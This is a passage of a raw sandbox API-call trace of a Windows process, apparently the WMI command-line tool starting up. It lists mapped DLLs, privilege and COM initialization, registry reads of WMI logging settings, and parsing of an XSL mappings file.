monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-processthreads-l1-1-1.dll" filename = "\\Windows\\System32\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-processthreads-l1-1-1.dll") Region: id = 1363 start_va = 0x7fef8ac0000 end_va = 0x7fef8ac2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-file-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l1-2-0.dll") Region: id = 1364 start_va = 0x7fef8ab0000 end_va = 0x7fef8ab2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-heap-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-heap-l1-1-0.dll") Region: id = 1365 start_va = 0x7fef8aa0000 end_va = 0x7fef8aa3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-string-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-string-l1-1-0.dll") Region: id = 1366 start_va = 0x7fef8a90000 end_va = 0x7fef8a93fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-stdio-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-stdio-l1-1-0.dll") Region: id = 1367 start_va = 0x7fef8a80000 end_va = 0x7fef8a83fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-convert-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-convert-l1-1-0.dll") Region: id = 1368 start_va = 0x1c10000 end_va = 0x1c10fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c10000" filename = "" Region: id = 1369 start_va = 0x1c20000 end_va = 0x1c20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c20000" filename = "" Region: id = 1730 start_va = 0x7fef98f0000 end_va = 0x7fef9902fff monitored = 0 entry_point = 0x7fef98f1d80 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 1731 start_va = 0x7fef9c10000 end_va = 0x7fef9ce2fff monitored = 0 entry_point = 0x7fef9c88b00 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 1732 start_va = 0x7fef9be0000 end_va = 0x7fef9c06fff monitored = 0 entry_point = 0x7fef9be11a0 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 1733 start_va = 0x1cb0000 end_va = 0x1cbbfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001cb0000" filename = "" Region: id = 1841 start_va = 0x7fef72d0000 end_va = 0x7fef72e6fff monitored = 0 entry_point = 0x7fef72deba0 region_type = mapped_file name = "wmi2xml.dll" filename = "\\Windows\\System32\\wbem\\xml\\wmi2xml.dll" (normalized: "c:\\windows\\system32\\wbem\\xml\\wmi2xml.dll") Region: id = 1842 start_va = 0x2e30000 end_va = 0x2f2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002e30000" filename = "" Region: id = 1843 start_va = 0x3000000 end_va = 0x307ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003000000" filename = "" Region: id = 1844 start_va = 0x7fef46c0000 end_va = 0x7fef4759fff monitored = 1 entry_point = 0x7fef46ce1b8 region_type = mapped_file name = "vbscript.dll" filename = "\\Windows\\System32\\vbscript.dll" (normalized: "c:\\windows\\system32\\vbscript.dll") Region: id = 1845 start_va = 0x1cb0000 end_va = 0x1ccafff monitored = 0 entry_point = 0x1ce6b00 region_type = mapped_file name = "msxml3.dll" filename = "\\Windows\\System32\\msxml3.dll" (normalized: "c:\\windows\\system32\\msxml3.dll") Region: id = 1846 start_va = 0x7fefd6d0000 end_va = 0x7fefd760fff monitored = 0 entry_point = 0x7fefd6d1440 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 1847 start_va = 0x2100000 end_va = 0x2103fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb") Region: id = 1848 start_va = 0x3080000 end_va = 0x368cfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003080000" filename = "" Thread: id = 9 os_tid = 0xfbc [0146.399] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1afe70 | out: lpSystemTimeAsFileTime=0x1afe70*(dwLowDateTime=0xd7a0b140, dwHighDateTime=0x1da5ebf)) [0146.399] GetCurrentProcessId () returned 0xfb8 [0146.399] GetCurrentThreadId () returned 0xfbc [0146.399] GetTickCount () returned 0xa68d63 [0146.399] QueryPerformanceCounter (in: lpPerformanceCount=0x1afe78 | out: lpPerformanceCount=0x1afe78*=1106703438008) returned 1 [0146.400] GetModuleHandleW (lpModuleName=0x0) returned 0xff9b0000 [0146.400] __set_app_type (_Type=0x1) [0146.400] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff9fced0) returned 0x0 [0146.401] __wgetmainargs (in: _Argc=0xffa22380, _Argv=0xffa22390, _Env=0xffa22388, _DoWildCard=0, _StartInfo=0xffa2239c | out: _Argc=0xffa22380, _Argv=0xffa22390, _Env=0xffa22388) returned 0 [0146.402] ??0CHString@@QEAA@XZ () returned 0xffa22ab0 [0146.402] malloc (_Size=0x30) returned 0x1bdf90 [0146.403] malloc (_Size=0x70) returned 0x2c7a60 [0146.403] malloc (_Size=0x50) returned 0x2c5ae0 [0146.403] malloc (_Size=0x30) returned 0x2c7ae0 [0146.403] malloc (_Size=0x48) returned 0x2c7b20 [0146.403] malloc (_Size=0x30) returned 0x2c7b70 [0146.403] malloc (_Size=0x30) returned 0x2c7bb0 [0146.403] ??0CHString@@QEAA@XZ () returned 0xffa22f58 [0146.403] malloc (_Size=0x30) returned 0x2c7bf0 [0146.403] ?Empty@CHString@@QEAAXXZ () returned 0x7fef4dfc96c [0146.403] SetConsoleCtrlHandler (HandlerRoutine=0xff9f5724, Add=1) returned 1 [0146.404] _onexit (_Func=0xffa0f378) returned 0xffa0f378 [0146.404] _onexit (_Func=0xffa0f490) returned 0xffa0f490 [0146.404] _onexit (_Func=0xffa0f4d0) returned 0xffa0f4d0 [0146.405] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0146.407] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0146.580] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0146.695] CoCreateInstance (in: rclsid=0xff9b73a0*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xff9b7370*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0xffa22940 | out: ppv=0xffa22940*=0x33cba0) returned 0x0 [0146.768] GetCurrentProcess () returned 0xffffffffffffffff [0146.769] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x1afc40 | out: TokenHandle=0x1afc40*=0x104) returned 1 [0146.769] GetTokenInformation (in: TokenHandle=0x104, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x1afc38 | out: TokenInformation=0x0, ReturnLength=0x1afc38) returned 0 [0146.769] malloc (_Size=0x118) returned 0x2c62b0 [0146.769] GetTokenInformation (in: TokenHandle=0x104, TokenInformationClass=0x3, TokenInformation=0x2c62b0, TokenInformationLength=0x118, ReturnLength=0x1afc38 | out: TokenInformation=0x2c62b0, ReturnLength=0x1afc38) returned 1 [0146.769] AdjustTokenPrivileges (in: TokenHandle=0x104, DisableAllPrivileges=0, NewState=0x2c62b0*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x9), (Luid.LowPart=0x2, Luid.HighPart=10, Attributes=0x0), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0xd), (Luid.LowPart=0x2, Luid.HighPart=14, Attributes=0x0), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x12), (Luid.LowPart=0x2, Luid.HighPart=19, Attributes=0x0), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x17), (Luid.LowPart=0x3, Luid.HighPart=24, Attributes=0x0), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x1d), (Luid.LowPart=0x3, Luid.HighPart=30, Attributes=0x0), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x23), (Luid.LowPart=0x2, Luid.HighPart=-787272912, Attributes=0x6b9f), (Luid.LowPart=0x0, Luid.HighPart=2916192, Attributes=0x0), (Luid.LowPart=0x610072, Luid.HighPart=2097261, Attributes=0x690046), (Luid.LowPart=0x200073, Luid.HighPart=7864360, Attributes=0x360038), (Luid.LowPart=0x6f0043, Luid.HighPart=7143533, Attributes=0x6e006f), (Luid.LowPart=0x6c0069, Luid.HighPart=7536741, Attributes=0x430000))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0146.770] free (_Block=0x2c62b0) [0146.770] CloseHandle (hObject=0x104) returned 1 [0146.770] malloc (_Size=0x40) returned 0x2c7f60 [0146.770] malloc (_Size=0x40) returned 0x2c62b0 [0146.770] malloc (_Size=0x40) returned 0x2c6300 [0146.771] malloc (_Size=0x20a) returned 0x2c6350 [0146.771] GetSystemDirectoryW (in: lpBuffer=0x2c6350, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0146.771] free (_Block=0x2c6350) [0146.771] malloc (_Size=0x18) returned 0x2c7fb0 [0146.771] malloc (_Size=0x18) returned 0x2c6350 [0146.772] malloc (_Size=0x18) returned 0x2c6370 [0146.772] SysStringLen (param_1="C:\\Windows\\system32") returned 0x13 [0146.772] SysStringLen (param_1="\\kernel32.dll") returned 0xd [0146.772] memcpy (in: _Dst=0x344208, _Src=0x341378, _Size=0x28 | out: _Dst=0x344208) returned 0x344208 [0146.772] memcpy (in: _Dst=0x34422e, _Src=0x3413b8, _Size=0x1c | out: _Dst=0x34422e) returned 0x34422e [0146.772] free (_Block=0x2c7fb0) [0146.772] free (_Block=0x2c6350) [0146.772] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\kernel32.dll") returned 0x77660000 [0146.772] GetProcAddress (hModule=0x77660000, lpProcName="SetThreadUILanguage") returned 0x776761e0 [0146.773] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0146.773] FreeLibrary (hLibModule=0x77660000) returned 1 [0146.773] free (_Block=0x2c6370) [0146.773] _vsnwprintf (in: _Buffer=0x2c6300, _BufferCount=0x1f, _Format="ms_%x", _ArgList=0x1af868 | out: _Buffer="ms_409") returned 6 [0146.773] malloc (_Size=0x20) returned 0x2c6350 [0146.773] GetComputerNameW (in: lpBuffer=0x2c6350, nSize=0x1afc40 | out: lpBuffer="Q9IATRKPRH", nSize=0x1afc40) returned 1 [0146.774] lstrlenW (lpString="Q9IATRKPRH") returned 10 [0146.774] malloc (_Size=0x16) returned 0x2c7fb0 [0146.774] lstrlenW (lpString="Q9IATRKPRH") returned 10 [0146.774] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x0, nSize=0x1afc38 | out: lpNameBuffer=0x0, nSize=0x1afc38) returned 0x7fffffde000 [0146.778] GetLastError () returned 0xea [0146.778] malloc (_Size=0x2c) returned 0x2c6380 [0146.778] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x2c6380, nSize=0x1afc38 | out: lpNameBuffer="Q9IATRKPRH\\kEecfMwgj", nSize=0x1afc38) returned 0x1 [0146.778] lstrlenW (lpString="") returned 0 [0146.778] lstrlenW (lpString="Q9IATRKPRH") returned 10 [0146.779] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Q9IATRKPRH", cchCount1=10, lpString2="", cchCount2=0) returned 3 [0146.785] lstrlenW (lpString=".") returned 1 [0146.785] lstrlenW (lpString="Q9IATRKPRH") returned 10 [0146.785] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Q9IATRKPRH", cchCount1=10, lpString2=".", cchCount2=1) returned 3 [0146.785] lstrlenW (lpString="LOCALHOST") returned 9 [0146.785] lstrlenW (lpString="Q9IATRKPRH") returned 10 [0146.785] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Q9IATRKPRH", cchCount1=10, lpString2="LOCALHOST", cchCount2=9) returned 3 [0146.785] lstrlenW (lpString="Q9IATRKPRH") returned 10 [0146.785] lstrlenW (lpString="Q9IATRKPRH") returned 10 [0146.785] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Q9IATRKPRH", cchCount1=10, lpString2="Q9IATRKPRH", cchCount2=10) returned 2 [0146.785] free (_Block=0x2c7fb0) [0146.786] lstrlenW (lpString="Q9IATRKPRH") returned 10 [0146.786] malloc (_Size=0x16) returned 0x2c7fb0 [0146.786] lstrlenW (lpString="Q9IATRKPRH") returned 10 [0146.786] lstrlenW (lpString="Q9IATRKPRH") returned 10 [0146.786] malloc (_Size=0x16) returned 0x2c63c0 [0146.786] lstrlenW (lpString="Q9IATRKPRH") returned 10 [0146.786] malloc (_Size=0x8) returned 0x2c63e0 [0146.786] malloc (_Size=0x18) returned 0x2c6400 [0146.787] malloc (_Size=0x30) returned 0x2c6420 [0146.787] malloc (_Size=0x18) returned 0x2c6460 [0146.787] SysStringLen (param_1="IDENTIFY") returned 0x8 [0146.787] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0146.787] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0146.787] SysStringLen (param_1="IDENTIFY") returned 0x8 [0146.787] malloc (_Size=0x30) returned 0x2c6480 [0146.787] malloc (_Size=0x18) returned 0x2c64c0 [0146.787] SysStringLen (param_1="IMPERSONATE") returned 0xb [0146.787] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0146.787] SysStringLen (param_1="IMPERSONATE") returned 0xb [0146.787] SysStringLen (param_1="IDENTIFY") returned 0x8 [0146.788] SysStringLen (param_1="IDENTIFY") returned 0x8 [0146.788] SysStringLen (param_1="IMPERSONATE") returned 0xb [0146.788] malloc (_Size=0x30) returned 0x2c64e0 [0146.788] malloc (_Size=0x18) returned 0x2c6520 [0146.788] SysStringLen (param_1="DELEGATE") returned 0x8 [0146.788] SysStringLen (param_1="IDENTIFY") returned 0x8 [0146.788] SysStringLen (param_1="DELEGATE") returned 0x8 [0146.788] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0146.788] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0146.788] SysStringLen (param_1="DELEGATE") returned 0x8 [0146.788] malloc (_Size=0x30) returned 0x2c6540 [0146.788] malloc (_Size=0x18) returned 0x2c6580 [0146.788] malloc (_Size=0x30) returned 0x2c65a0 [0146.788] malloc (_Size=0x18) returned 0x2c65e0 [0146.789] SysStringLen (param_1="NONE") returned 0x4 [0146.789] SysStringLen (param_1="DEFAULT") returned 0x7 [0146.789] SysStringLen (param_1="DEFAULT") returned 0x7 [0146.789] SysStringLen (param_1="NONE") returned 0x4 [0146.789] malloc (_Size=0x30) returned 0x2c6600 [0146.789] malloc (_Size=0x18) returned 0x2c6640 [0146.789] SysStringLen (param_1="CONNECT") returned 0x7 [0146.789] SysStringLen (param_1="DEFAULT") returned 0x7 [0146.789] malloc (_Size=0x30) returned 0x2c6660 [0146.789] malloc (_Size=0x18) returned 0x2c66a0 [0146.789] SysStringLen (param_1="CALL") returned 0x4 [0146.789] SysStringLen (param_1="DEFAULT") returned 0x7 [0146.789] SysStringLen (param_1="CALL") returned 0x4 [0146.789] SysStringLen (param_1="CONNECT") returned 0x7 [0146.790] malloc (_Size=0x30) returned 0x2c66c0 [0146.790] malloc (_Size=0x18) returned 0x2c6700 [0146.790] SysStringLen (param_1="PKT") returned 0x3 [0146.790] SysStringLen (param_1="DEFAULT") returned 0x7 [0146.790] SysStringLen (param_1="PKT") returned 0x3 [0146.790] SysStringLen (param_1="NONE") returned 0x4 [0146.790] SysStringLen (param_1="NONE") returned 0x4 [0146.790] SysStringLen (param_1="PKT") returned 0x3 [0146.790] malloc (_Size=0x30) returned 0x2c8000 [0146.790] malloc (_Size=0x18) returned 0x2c6b20 [0146.791] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0146.791] SysStringLen (param_1="DEFAULT") returned 0x7 [0146.791] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0146.791] SysStringLen (param_1="NONE") returned 0x4 [0146.791] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0146.791] SysStringLen (param_1="PKT") returned 0x3 [0146.791] SysStringLen (param_1="PKT") returned 0x3 [0146.791] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0146.791] malloc (_Size=0x30) returned 0x2c8040 [0146.791] malloc (_Size=0x18) returned 0x2c6b40 [0146.791] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0146.791] SysStringLen (param_1="DEFAULT") returned 0x7 [0146.791] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0146.791] SysStringLen (param_1="PKT") returned 0x3 [0146.791] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0146.791] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0146.792] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0146.792] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0146.792] malloc (_Size=0x30) returned 0x2c8080 [0146.792] malloc (_Size=0x40) returned 0x2c6b60 [0146.792] malloc (_Size=0x20a) returned 0x2c6bb0 [0146.792] GetSystemDirectoryW (in: lpBuffer=0x2c6bb0, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0146.792] free (_Block=0x2c6bb0) [0146.792] malloc (_Size=0x18) returned 0x2c6bb0 [0146.793] malloc (_Size=0x18) returned 0x2c6bd0 [0146.793] malloc (_Size=0x18) returned 0x2c6bf0 [0146.793] SysStringLen (param_1="C:\\Windows\\system32") returned 0x13 [0146.793] SysStringLen (param_1="\\wbem\\") returned 0x6 [0146.793] memcpy (in: _Dst=0x3266b8, _Src=0x3413b8, _Size=0x28 | out: _Dst=0x3266b8) returned 0x3266b8 [0146.793] memcpy (in: _Dst=0x3266de, _Src=0x340a28, _Size=0xe | out: _Dst=0x3266de) returned 0x3266de [0146.793] free (_Block=0x2c6bb0) [0146.793] free (_Block=0x2c6bd0) [0146.793] SysStringByteLen (bstr="C:\\Windows\\system32\\wbem\\") returned 0x32 [0146.794] free (_Block=0x2c6bf0) [0146.794] malloc (_Size=0x18) returned 0x2c6bb0 [0146.794] malloc (_Size=0x18) returned 0x2c6bd0 [0146.794] malloc (_Size=0x18) returned 0x2c6bf0 [0146.794] SysStringLen (param_1="C:\\Windows\\system32\\wbem\\") returned 0x19 [0146.794] SysStringLen (param_1="XSL-Mappings.xml") returned 0x10 [0146.794] memcpy (in: _Dst=0x344888, _Src=0x326708, _Size=0x34 | out: _Dst=0x344888) returned 0x344888 [0146.794] memcpy (in: _Dst=0x3448ba, _Src=0x3413b8, _Size=0x22 | out: _Dst=0x3448ba) returned 0x3448ba [0146.794] free (_Block=0x2c6bb0) [0146.794] free (_Block=0x2c6bd0) [0146.794] GetCurrentThreadId () returned 0xfbc [0146.795] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Wbem\\CIMOM", ulOptions=0x0, samDesired=0x1, phkResult=0x1af540 | out: phkResult=0x1af540*=0x108) returned 0x0 [0146.795] RegQueryValueExW (in: hKey=0x108, lpValueName="Logging", lpReserved=0x0, lpType=0x0, lpData=0x1af590, lpcbData=0x1af530*=0x400 | out: lpType=0x0, lpData=0x1af590*=0x30, lpcbData=0x1af530*=0x4) returned 0x0 [0146.795] _wcsicmp (_String1="0", _String2="1") returned -1 [0146.795] _wcsicmp (_String1="0", _String2="2") returned -2 [0146.795] RegQueryValueExW (in: hKey=0x108, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x1af530*=0x4 | out: lpType=0x0, lpData=0x0, lpcbData=0x1af530*=0x42) returned 0x0 [0146.795] malloc (_Size=0x86) returned 0x2c6c10 [0146.795] RegQueryValueExW (in: hKey=0x108, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x2c6c10, lpcbData=0x1af530*=0x42 | out: lpType=0x0, lpData=0x2c6c10*=0x25, lpcbData=0x1af530*=0x42) returned 0x0 [0146.796] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0146.796] malloc (_Size=0x42) returned 0x2c6ca0 [0146.796] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0146.796] RegQueryValueExW (in: hKey=0x108, lpValueName="Log File Max Size", lpReserved=0x0, lpType=0x0, lpData=0x1af590, lpcbData=0x1af530*=0x400 | out: lpType=0x0, lpData=0x1af590*=0x36, lpcbData=0x1af530*=0xc) returned 0x0 [0146.796] _wtol (_String="65536") returned 65536 [0146.796] free (_Block=0x2c6c10) [0146.796] RegCloseKey (hKey=0x0) returned 0x6 [0146.796] CoCreateInstance (in: rclsid=0xff9b7410*(Data1=0xf6d90f12, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xff9b73f0*(Data1=0x2933bf95, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppv=0x1afa38 | out: ppv=0x1afa38*=0x21d71d0) returned 0x0 [0146.850] FreeThreadedDOMDocument:IXMLDOMDocument:load (in: This=0x21d71d0, xmlSource=0x1afb80*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Windows\\system32\\wbem\\XSL-Mappings.xml", varVal2=0x2c6bb0), isSuccessful=0x1afbf0 | out: isSuccessful=0x1afbf0*=0xffff) returned 0x0 [0147.773] FreeThreadedDOMDocument:IXMLDOMDocument:get_documentElement (in: This=0x21d71d0, DOMElement=0x1afa30 | out: DOMElement=0x1afa30*=0x21dbc50) returned 0x0 [0147.773] malloc (_Size=0x18) returned 0x2c6bb0 [0147.774] IXMLDOMElement:getElementsByTagName (in: This=0x21dbc50, tagName="XSLFORMAT", resultList=0x1afa40 | out: resultList=0x1afa40*=0x21d9cc0) returned 0x0 [0147.775] free (_Block=0x2c6bb0) [0147.775] IXMLDOMNodeList:get_length (in: This=0x21d9cc0, listLength=0x1afc08 | out: listLength=0x1afc08*=21) returned 0x0 [0147.776] IXMLDOMNodeList:get_item (in: This=0x21d9cc0, index=0, listItem=0x1afa10 | out: listItem=0x1afa10*=0x21dbd50) returned 0x0 [0147.776] IXMLDOMNode:get_text (in: This=0x21dbd50, text=0x1afa20 | out: text=0x1afa20*="texttable.xsl") returned 0x0 [0147.776] IXMLDOMNode:get_attributes (in: This=0x21dbd50, attributeMap=0x1afa18 | out: attributeMap=0x1afa18*=0x21d78d0) returned 0x0 [0147.776] malloc (_Size=0x18) returned 0x2c6bb0 [0147.777] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x21d78d0, name="KEYWORD", namedItem=0x1afa28 | out: namedItem=0x1afa28*=0x21da280) returned 0x0 [0147.777] free (_Block=0x2c6bb0) [0147.777] IXMLDOMNode:get_nodeValue (in: This=0x21da280, value=0x1afa60 | out: value=0x1afa60*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="TABLE", varVal2=0x4)) returned 0x0 [0147.777] malloc (_Size=0x18) returned 0x2c6bb0 [0147.777] malloc (_Size=0x18) returned 0x2c6bd0 [0147.777] malloc (_Size=0x30) returned 0x2c80c0 [0147.778] IUnknown:Release (This=0x21dbd50) returned 0x0 [0147.778] IUnknown:Release (This=0x21d78d0) returned 0x0 [0147.778] IUnknown:Release (This=0x21da280) returned 0x0 [0147.778] IXMLDOMNodeList:get_item (in: This=0x21d9cc0, index=1, listItem=0x1afa10 | out: listItem=0x1afa10*=0x21dbd50) returned 0x0 [0147.778] IXMLDOMNode:get_text (in: This=0x21dbd50, text=0x1afa20 | out: text=0x1afa20*="textvaluelist.xsl") returned 0x0 [0147.778] IXMLDOMNode:get_attributes (in: This=0x21dbd50, attributeMap=0x1afa18 | out: attributeMap=0x1afa18*=0x21d78d0) returned 0x0 [0147.778] malloc (_Size=0x18) returned 0x2c6c10 [0147.778] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x21d78d0, name="KEYWORD", namedItem=0x1afa28 | out: namedItem=0x1afa28*=0x21da280) returned 0x0 [0147.778] free (_Block=0x2c6c10) [0147.778] IXMLDOMNode:get_nodeValue (in: This=0x21da280, value=0x1afa60 | out: value=0x1afa60*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="VALUE", varVal2=0x4)) returned 0x0 [0147.779] malloc (_Size=0x18) returned 0x2cc380 [0147.779] malloc (_Size=0x18) returned 0x2cc3a0 [0147.779] SysStringLen (param_1="VALUE") returned 0x5 [0147.779] SysStringLen (param_1="TABLE") returned 0x5 [0147.779] SysStringLen (param_1="TABLE") returned 0x5 [0147.779] SysStringLen (param_1="VALUE") returned 0x5 [0147.779] malloc (_Size=0x30) returned 0x2c8100 [0147.779] IUnknown:Release (This=0x21dbd50) returned 0x0 [0147.779] IUnknown:Release (This=0x21d78d0) returned 0x0 [0147.779] IUnknown:Release (This=0x21da280) returned 0x0 [0147.779] IXMLDOMNodeList:get_item (in: This=0x21d9cc0, index=2, listItem=0x1afa10 | out: listItem=0x1afa10*=0x21dbd50) returned 0x0 [0147.779] IXMLDOMNode:get_text (in: This=0x21dbd50, text=0x1afa20 | out: text=0x1afa20*="textvaluelist.xsl") returned 0x0 [0147.780] IXMLDOMNode:get_attributes (in: This=0x21dbd50, attributeMap=0x1afa18 | out: attributeMap=0x1afa18*=0x21d78d0) returned 0x0 [0147.780] malloc (_Size=0x18) returned 0x2cc3c0 [0147.780] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x21d78d0, name="KEYWORD", namedItem=0x1afa28 | out: namedItem=0x1afa28*=0x21da280) returned 0x0 [0147.780] free (_Block=0x2cc3c0) [0147.780] IXMLDOMNode:get_nodeValue (in: This=0x21da280, value=0x1afa60 | out: value=0x1afa60*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="LIST", varVal2=0x4)) returned 0x0 [0147.780] malloc (_Size=0x18) returned 0x2cc3c0 [0147.780] malloc (_Size=0x18) returned 0x2cc3e0 [0147.780] SysStringLen (param_1="LIST") returned 0x4 [0147.780] SysStringLen (param_1="TABLE") returned 0x5 [0147.780] malloc (_Size=0x30) returned 0x2c8140 [0147.781] IUnknown:Release (This=0x21dbd50) returned 0x0 [0147.781] IUnknown:Release (This=0x21d78d0) returned 0x0 [0147.781] IUnknown:Release (This=0x21da280) returned 0x0 [0147.781] IXMLDOMNodeList:get_item (in: This=0x21d9cc0, index=3, listItem=0x1afa10 | out: listItem=0x1afa10*=0x21dbd50) returned 0x0 [0147.781] IXMLDOMNode:get_text (in: This=0x21dbd50, text=0x1afa20 | out: text=0x1afa20*="rawxml.xsl") returned 0x0 [0147.781] IXMLDOMNode:get_attributes (in: This=0x21dbd50, attributeMap=0x1afa18 | out: attributeMap=0x1afa18*=0x21d78d0) returned 0x0 [0147.781] malloc (_Size=0x18) returned 0x2cc400 [0147.781] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x21d78d0, name="KEYWORD", namedItem=0x1afa28 | out: namedItem=0x1afa28*=0x21da280) returned 0x0 [0147.781] free (_Block=0x2cc400) [0147.781] IXMLDOMNode:get_nodeValue (in: This=0x21da280, value=0x1afa60 | out: value=0x1afa60*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="RAWXML", varVal2=0x4)) returned 0x0 [0147.782] malloc (_Size=0x18) 